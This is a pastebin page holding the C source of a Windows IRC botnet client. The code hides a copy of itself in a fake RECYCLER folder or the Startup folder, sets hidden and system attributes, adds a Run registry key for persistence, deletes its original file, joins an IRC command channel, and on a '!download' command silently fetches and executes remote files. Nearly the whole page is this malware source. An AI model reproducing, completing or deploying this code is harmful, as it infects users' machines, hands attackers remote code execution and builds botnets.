pastebin - collaborative debugging

pastebin is a collaborative debugging tool allowing you to share and modify code snippets while chatting on IRC, IM or a message board.

This site is developed to XHTML and CSS2 W3C standards. If you see this paragraph, your browser does not support those standards and you need to upgrade. Visit WaSP for a variety of options.

C pastebin - collaborative debugging tool View Help


Posted by l3d on Sun 30 Aug 18:27
report abuse | download | new post

  1.    #include <winsock2.h>
  2.     #include <ws2tcpip.h>
  3.     #include <stdlib.h>
  4.     #include <stdio.h>
  5.     #include <urlmon.h>
  6.  
  7.  
  8.  
  9.     #define MAX_IRC_LINE 513
  10.     #define MAX_NICKLEN      18
  11.     #define REQ_NICKLEN      7
  12.     #define CRLF       "\r\n"
  13.  
  14.  
  15.  
  16.     #define SLEEP_TIME 5 //seconds
  17.  
  18.     #define DNS "dns goes here"
  19.     #define PORT 989
  20.     #define IRCD_PASS
  21.     #define CHAN_NAME "#test"
  22.     #define CHAN_KEY "test"
  23.     #define USER "nick!ident@host"//no wildcards
  24.     #define PREFIX '!'
  25.  
  26.     #define MUTEX "himutexlol"//mutex
  27.     #define FILE_NAME "botbot.exe"//bot's name
  28.     #define NEW_FILE "C:\\a.txt"//to mark previous install
  29.  
  30.  
  31.  
  32.  
  33.     //global variables
  34.     SOCKET         sock;
  35.     char         recvbuf [ MAX_IRC_LINE ];
  36.     int            iResult;
  37.  
  38.     bool IsFirstJoin()
  39.     {
  40.        HANDLE hFile;
  41.  
  42.        hFile = CreateFile( NEW_FILE,
  43.        GENERIC_WRITE,
  44.        0,
  45.        0,
  46.        CREATE_ALWAYS,
  47.        FILE_ATTRIBUTE_HIDDEN,
  48.        NULL);
  49.        if ( hFile == INVALID_HANDLE_VALUE || GetLastError() == ERROR_ALREADY_EXISTS)
  50.        return false;
  51.        CloseHandle(hFile);
  52.        return true;
  53.     }
  54.  
  55.     BOOL IsVista()
  56.     {
  57.        OSVERSIONINFO vi;
  58.        ZeroMemory(&vi, sizeof(vi));
  59.        vi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
  60.        GetVersionEx( &vi );
  61.        return  (vi.dwMajorVersion == 6 );
  62.     }
  63.  
  64.  
  65.     //reptile nick functions nawwwwww
  66.     //////////////////////////////////////////////////////
  67.     char* nickgen_curbox(void)
  68.     {
  69.        char rndnick[MAX_NICKLEN];
  70.        ZeroMemory(rndnick,MAX_NICKLEN);
  71.        BOOL good=FALSE;
  72.  
  73.        DWORD dwcb=MAX_NICKLEN;
  74.        GetComputerName(rndnick,&dwcb);
  75.  
  76.        for (int j=65;j<91;j++) { if (rndnick[0] == j) good=TRUE; }
  77.        for (int k=97;k<123;k++) { if (rndnick[0] == k) good=TRUE; }
  78.        if (!good)
  79.        sprintf(rndnick,"Error");
  80.        
  81.        return rndnick;
  82.     }
  83.  
  84.     char *nickgen_rndltr(void)
  85.     {  
  86.        char rndnick[MAX_NICKLEN];
  87.        ZeroMemory(rndnick,MAX_NICKLEN);
  88.        int i;
  89.        for ( i=0;i<=REQ_NICKLEN;i++)
  90.        rndnick[i] = (rand()%26)+97;
  91.        rndnick[i] = '\0';
  92.  
  93.        return rndnick;
  94.     }
  95.  
  96.     char *nickgen_os(void)
  97.     {  
  98.        char *os;
  99.        char rndnick[MAX_NICKLEN];
  100.        ZeroMemory(rndnick,MAX_NICKLEN);
  101.  
  102.        if (IsFirstJoin())
  103.        strcat(rndnick, "N-");
  104.        OSVERSIONINFO osVI;
  105.        osVI.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
  106.        if (GetVersionEx(&osVI)) {
  107.           if(osVI.dwMajorVersion==4 && osVI.dwMinorVersion==0)
  108.           {   if(osVI.dwPlatformId==VER_PLATFORM_WIN32_WINDOWS)      os="95-";
  109.              if(osVI.dwPlatformId==VER_PLATFORM_WIN32_NT)         os="NT-"; }
  110.           else if(osVI.dwMajorVersion==4 && osVI.dwMinorVersion==10)   os="98-";
  111.           else if(osVI.dwMajorVersion==4 && osVI.dwMinorVersion==90)   os="ME-";
  112.           else if(osVI.dwMajorVersion==5 && osVI.dwMinorVersion==0)   os="2K-";
  113.           else if(osVI.dwMajorVersion==5 && osVI.dwMinorVersion==1)   os="XP-";
  114.           else if(osVI.dwMajorVersion==5 && osVI.dwMinorVersion==2)   os="2K3-";
  115.           else                                          os="VS-";
  116.        } else
  117.        os="VS-";
  118.  
  119.        sprintf(rndnick,os);
  120.        for (int i=strlen(rndnick);i<=REQ_NICKLEN;i++)
  121.        rndnick[i]=(rand()%10)+48;
  122.  
  123.        return rndnick;
  124.     }///////////////////////////////
  125.  
  126.  
  127.  
  128.     BOOL SendLine(  const char *fmt, ... )
  129.     {
  130.        //char      buffer[MAX_IRC_LINE];
  131.        va_list      args;
  132.        char*      buffer;
  133.        int         len;
  134.  
  135.        //format the string
  136.        va_start ( args, fmt );
  137.        len = _vscprintf( fmt, args ) + 1;
  138.        buffer = new char[ len + 2 ];//\r\n
  139.        vsprintf ( buffer, fmt, args );
  140.        va_end ( args );
  141.        strcat( buffer, CRLF);
  142.        iResult = send( sock, buffer, strlen( buffer ), 0 );
  143.        //printf( "Sending: %s ", buffer, iResult );
  144.  
  145.        delete [] buffer;
  146.        return ( iResult != SOCKET_ERROR );
  147.     }
  148.  
  149.     BOOL DownAndExec( char* url , char* path , BOOL exec )
  150.     {
  151.        if ( URLDownloadToFileA( NULL, url, path, 0, 0 ) == S_OK )
  152.        {
  153.           if (exec)
  154.           ShellExecute( 0, "open", path, NULL, NULL, SW_HIDE );
  155.           return TRUE;
  156.        }
  157.        else
  158.        return FALSE;
  159.     }
  160.  
  161.  
  162.  
  163.     BOOL ParseCommands( char* commands )
  164.     {
  165.        if ( commands[0] == PREFIX )
  166.        {
  167.  
  168.           char*   tokens[256];
  169.           size_t   start = 0;
  170.           size_t   end;
  171.           int      i = 0;
  172.           char* str = commands + 1;
  173.           while (str[start] != '\0')
  174.           {
  175.  
  176.              end = strcspn(str + start, " ");
  177.              tokens[i]= new char[end+1];
  178.              memset(tokens[i],0,end+1);
  179.              strncpy(tokens[i],str + start,end);
  180.              start += (str[start + end] != '\0') ? end + 1 : end;
  181.              i++;
  182.           }
  183.           //test
  184.           if ( i == 1 )
  185.           {
  186.              if ( strcmp ( tokens[0] , "test" ) == 0)
  187.              if ( !SendLine(  "PRIVMSG %s :%s",CHAN_NAME , "hi sir LOL"  ) )
  188.              return FALSE;
  189.           }
  190.  
  191.           //test one
  192.           if ( i == 2 )
  193.           {
  194.           }
  195.  
  196.           //test one two
  197.           if ( i == 3 )
  198.           {  
  199.           }
  200.  
  201.           //test one two three
  202.           if ( i == 4 )
  203.           {
  204.              //download http://url C:\path 1|0
  205.              if ( strcmp ( tokens[0] , "download" ) == 0 )
  206.              {
  207.                 if ( !SendLine( "PRIVMSG %s :Downloading url: \x03\x31\x32%s\x03 to path: \x03\x31\x32%s\x03  %s executing." , CHAN_NAME,  tokens[1],tokens[2],(strcmp(tokens[3], "1") == 0)?"\x03\x33with\x03":"\x03\x34without\x03") )
  208.                 return FALSE;
  209.                 //"\x03\x34" red
  210.                 //"\x03\x33" green
  211.                 //"\x03\x31\x32" blue
  212.                 //"\x03" limiter
  213.                 if ( DownAndExec( tokens[1], tokens[2],(strcmp(tokens[3], "1") == 0)?TRUE:FALSE) )
  214.                 {
  215.                    if ( !SendLine ( "PRIVMSG %s :Downloading url: \x03\x33Succeeded!\x03" , CHAN_NAME  ) )
  216.                    return FALSE;
  217.                 }
  218.                 else
  219.                 {
  220.                    if ( !SendLine ( "PRIVMSG %s :Downloading url: %sFailed!\x03" , "\x03\x33", CHAN_NAME) )
  221.                    return FALSE;
  222.                 }
  223.              }
  224.           }
  225.  
  226.           //test one two three four
  227.           if ( i == 5 )
  228.           {
  229.           }
  230.  
  231.           for( int j = 0; j < i ; j ++ )
  232.           delete [] tokens[j];
  233.        }
  234.        return TRUE;
  235.     }
  236.  
  237.     BOOL ParseLine( char* str )
  238.     {
  239.        char*   tokens[256]; //max number of tokens is 512/2 in case there is a space after each character
  240.        size_t   start = 0;
  241.        size_t   end;
  242.        int      i = 0;
  243.  
  244.        while (str[start] != '\0')
  245.        {
  246.  
  247.           end = strcspn(str + start, " ");
  248.           tokens[i]= new char[end+1];
  249.           memset(tokens[i],0,end+1);
  250.           strncpy(tokens[i],str + start,end);
  251.           start += (str[start + end] != '\0') ? end + 1 : end;
  252.           i++;
  253.        }
  254.        if ( i == 2 )
  255.        {
  256.           //PING
  257.           if ( strcmp( tokens[0], "PING" ) == 0 )
  258.           {
  259.              if ( !SendLine( "PONG %s", tokens[1]) )
  260.              return FALSE;
  261.           }
  262.        }
  263.        if ( i > 2 )
  264.        {
  265.           //Nick Collision
  266.           if ( strcmp( tokens[1] , "433" ) == 0 )
  267.           {
  268.              if ( !SendLine( "%s :%s", "NICK" , "nick2") )
  269.              return FALSE;
  270.           }
  271.           //beginning
  272.           else if ( strcmp( tokens[1] , "001" ) == 0 )
  273.           {
  274.              if ( !SendLine( "%s %s %s", "JOIN" , CHAN_NAME, CHAN_KEY) )
  275.              return FALSE;
  276.           }
  277.           //end of MOTD
  278.           else if ( strcmp( tokens[1] , "376" )  == 0 )
  279.           {
  280.              if ( !SendLine( "%s %s %s", "JOIN" , CHAN_NAME, CHAN_KEY) )
  281.              return FALSE;
  282.           }
  283.           //NO MOTD
  284.           else if ( strcmp( tokens[1] , "422" ) == 0 )
  285.           {
  286.              if ( !SendLine( "%s %s %s", "JOIN" , CHAN_NAME, CHAN_KEY) )
  287.              return FALSE;
  288.           }
  289.        }
  290.        if ( i > 2 )
  291.        {
  292.           if ( strcmp( tokens[1], "KICK") == 0 )
  293.           {
  294.              if ( !SendLine( "%s %s %s" , "JOIN" , tokens[2] , CHAN_KEY ) )
  295.              return FALSE;
  296.           }
  297.        }
  298.        if ( i > 3 )
  299.        {
  300.           if ( strcmp( tokens[1], "PRIVMSG" ) == 0 )
  301.           {
  302.              //check user
  303.              if ( (strcmp( tokens[0]+1 , USER ) == 0) && (strcmp( tokens[2] , CHAN_NAME ) == 0 ) ) //authenicated user and out channel
  304.              {
  305.                 if ( !ParseCommands( str + strlen(tokens[0]) + 1 + strlen(tokens[1]) + 1  + strlen(tokens[2]) + 2) )
  306.                 return FALSE;
  307.              }
  308.           }
  309.           //topic
  310.           else if ( strcmp ( tokens[1], "332" ) == 0 )
  311.           {
  312.              if ( !ParseCommands( str + strlen(tokens[0]) + 1 + strlen(tokens[1]) + 1  + strlen(tokens[2]) + 1  + strlen(tokens[3]) + 2 ) )
  313.              return FALSE;
  314.           }
  315.        }
  316.  
  317.        for( int j = 0; j < i ; j ++ )
  318.        delete [] tokens[j];
  319.        return TRUE;
  320.     }
  321.  
  322.  
  323.     BOOL ConnectIRC( char* dns, unsigned int port )
  324.     {
  325.        WSADATA      wsaData;
  326.        sockaddr_in   address;
  327.        HOSTENT      *Host;
  328.  
  329.        if (WSAStartup( MAKEWORD( 2, 2 ), &wsaData ) != 0)
  330.        {
  331.           // printf( "WSAStartup failed: %d\n", WSAGetLastError() );
  332.           return FALSE;
  333.        }
  334.  
  335.        if ( IsCharAlpha( dns[0] ) )
  336.        {                      
  337.           Host = gethostbyname( dns );
  338.           if ( !Host )
  339.           {
  340.              //  printf( "Failed To Resolve Host\n" );
  341.              return FALSE;
  342.           }
  343.           memcpy( &( address.sin_addr ), Host->h_addr, Host->h_length );
  344.        }
  345.        else
  346.        {
  347.           address.sin_addr.s_addr = inet_addr( dns) ;
  348.        }
  349.  
  350.        address.sin_family = AF_INET;
  351.        address.sin_port = htons( port );
  352.  
  353.  
  354.        sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
  355.        if ( !sock )
  356.        {
  357.           //printf("socket() failed: %d\n",WSAGetLastError( ));
  358.           return FALSE;
  359.        }
  360.  
  361.        //connect to irc server
  362.        //add select maybe
  363.        if( connect( sock, ( SOCKADDR * )&address, sizeof( address ) ) != 0 ) {
  364.           //  printf( "Failed to connect() to server: %d\n", WSAGetLastError( ) );
  365.           return FALSE;
  366.        }
  367.        return TRUE;
  368.     }
  369.  
  370.  
  371.     BOOL IRCWork()
  372.     {
  373.  
  374.        char nick[64];
  375.        char ident[64];
  376.        char fullname[64];
  377.        strcpy(nick, nickgen_os());
  378.        strcpy(ident, nickgen_rndltr());
  379.        strcpy(fullname, nickgen_curbox());
  380.        //send initial stuff
  381.        if ( !SendLine( "PASS %s", IRCD_PASS ) ||
  382.              !SendLine( "NICK %s",nick ) ||
  383.              !SendLine( "USER %s %s %s :%s", ident, nick, nick, fullname ) )
  384.        return FALSE;
  385.  
  386.        //recv response
  387.        /*do {
  388.           memset( recvbuf, 0, MAX_IRC_LINE );
  389.           iResult = recv( sock, recvbuf, MAX_IRC_LINE - 1 , 0 );
  390.           if ( iResult > 0 )
  391.           {
  392.              //printf( "\nParsing: %s",  recvbuf );
  393.              char * pch;
  394.              pch = strtok ( recvbuf, CRLF );
  395.              while ( pch != NULL )
  396.  
  397.              {
  398.                 if ( !ParseLine( pch ) )
  399.                 return FALSE;
  400.                 pch = strtok ( NULL, CRLF);
  401.              }
  402.              
  403.           }*/
  404.        //recv response
  405.        memset( recvbuf, 0, MAX_IRC_LINE );
  406.        int i =0;
  407.        do {
  408.           char recvchar = 0;
  409.           iResult = recv( sock, &recvchar, 1, 0);
  410.           if ( iResult > 0 )
  411.           {
  412.              recvbuf[i++] = recvchar;
  413.              if ( i == 512 && recvchar != '\n')//wtf happened ???
  414.              return FALSE;
  415.              if ( recvchar == '\n' )
  416.              {
  417.                 recvbuf[i-2] = '\0';
  418.                 if ( !ParseLine( recvbuf ) )
  419.                 return FALSE;
  420.                 //reset
  421.                 memset( recvbuf, 0, MAX_IRC_LINE );
  422.                 i = 0;
  423.              }
  424.              else if ( iResult == 0 )
  425.              {
  426.                 //printf( "Connection closed\n" );
  427.                 return FALSE;
  428.              }
  429.              else
  430.              {
  431.                 //   printf( "recv failed: %d\n", WSAGetLastError() );
  432.                 return FALSE;
  433.              }
  434.  
  435.           } while( iResult > 0 );
  436.           return TRUE;
  437.        }
  438.  
  439.  
  440.  
  441.        DWORD WINAPI IRCLoop()
  442.        {
  443.           sock = INVALID_SOCKET;
  444.           iResult = 0;
  445.           while( !ConnectIRC( DNS , PORT ) )
  446.           Sleep(SLEEP_TIME * 1000);
  447.           if ( !IRCWork() )
  448.           {
  449.              closesocket(sock);
  450.           }
  451.           return 0;
  452.        }
  453.  
  454.  
  455.  
  456.  
  457.  
  458.        int WINAPI WinMain(    
  459.        HINSTANCE hInstance,
  460.        HINSTANCE hPrevInstance,
  461.        LPSTR lpCmdLine,
  462.        int nCmdShow
  463.        )
  464.        {
  465.  
  466.           HANDLE      hThread = NULL;
  467.  
  468.           HANDLE      Mutex   = NULL;
  469.           HKEY        Key     = NULL;
  470.           char      SelfPath[MAX_PATH];
  471.           char      Path   [MAX_PATH];
  472.           char      Del      [MAX_PATH];
  473.  
  474.  
  475.           memset( SelfPath, 0 , sizeof SelfPath );
  476.           memset( Path, 0 ,     sizeof Path );
  477.           memset( Del, 0 ,     sizeof Del );
  478.  
  479.           //nocen fag idea of melt
  480.           if( __argc >= 2 )
  481.           {
  482.              Sleep( 1000 );
  483.              DeleteFile( __argv[1] );
  484.           }
  485.  
  486.           Mutex = CreateMutexA( NULL, FALSE, MUTEX );
  487.           if( GetLastError() == ERROR_ALREADY_EXISTS )
  488.           ExitProcess( 0 );
  489.           GetModuleFileNameA( GetModuleHandleA(NULL), SelfPath, sizeof(SelfPath) );
  490.           if ( IsVista() ) //vista ( not tested)
  491.           {
  492.              _snprintf( Path, sizeof(Path), "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\%s",  FILE_NAME );
  493.           }
  494.           else
  495.           {  
  496.              _snprintf( Path, sizeof(Path), "C:\\RECYCLER\\S-1212428712\\%s",  FILE_NAME );    
  497.           }
  498.  
  499.           if( strcmp( SelfPath, Path ) != 0 )
  500.           {
  501.              if ( GetFileAttributes("C:\\RECYCLER") == INVALID_FILE_ATTRIBUTES )
  502.              {
  503.                 CreateDirectoryA("C:\\RECYCLER", NULL);
  504.              }
  505.              CreateDirectoryA("C:\\RECYCLER\\S-1212428712", NULL);
  506.              CopyFileA(SelfPath, Path, FALSE);
  507.              DWORD bla = GetLastError();
  508.  
  509.              SetFileAttributes( Path , FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_READONLY );
  510.              GetShortPathName( SelfPath, Del, sizeof(Del) );
  511.              ShellExecute( NULL, "open", Path, Del, NULL, SW_HIDE );
  512.              ExitProcess( 0 );
  513.           }
  514.           if (!IsVista())
  515.           {
  516.              RegCreateKeyEx( HKEY_CURRENT_USER,
  517.              "Software\\Microsoft\\Windows\\CurrentVersion\\Run",
  518.              0,
  519.              NULL,
  520.              REG_OPTION_NON_VOLATILE,
  521.              KEY_ALL_ACCESS,
  522.              NULL,
  523.              &Key,
  524.              NULL );
  525.              RegSetValueEx( Key,
  526.              FILE_NAME,
  527.              0,
  528.              REG_SZ,
  529.              (const unsigned char*)SelfPath,
  530.              strlen(SelfPath) );
  531.              RegCloseKey( Key );
  532.           }
  533.  
  534.  
  535.  
  536.           //Start IRC Thread
  537.           while(1)
  538.           {
  539.              if ( (hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)IRCLoop, NULL, 0, NULL  ) ) == NULL )
  540.              {
  541.                 Sleep(SLEEP_TIME*1000);
  542.                 continue;
  543.              }
  544.              WaitForSingleObject(hThread , INFINITE);
  545.              CloseHandle(hThread);
  546.              Sleep(SLEEP_TIME*1000);
  547.           };
  548.  
  549.  
  550.           return 0;
  551.  
  552.        }

Submit a correction or amendment below (click here to make a fresh posting)
After submitting an amendment, you'll be able to view the differences between the old and new posts easily.

Syntax highlighting:

To highlight particular lines, prefix each line with @@


Remember me so that I can delete my post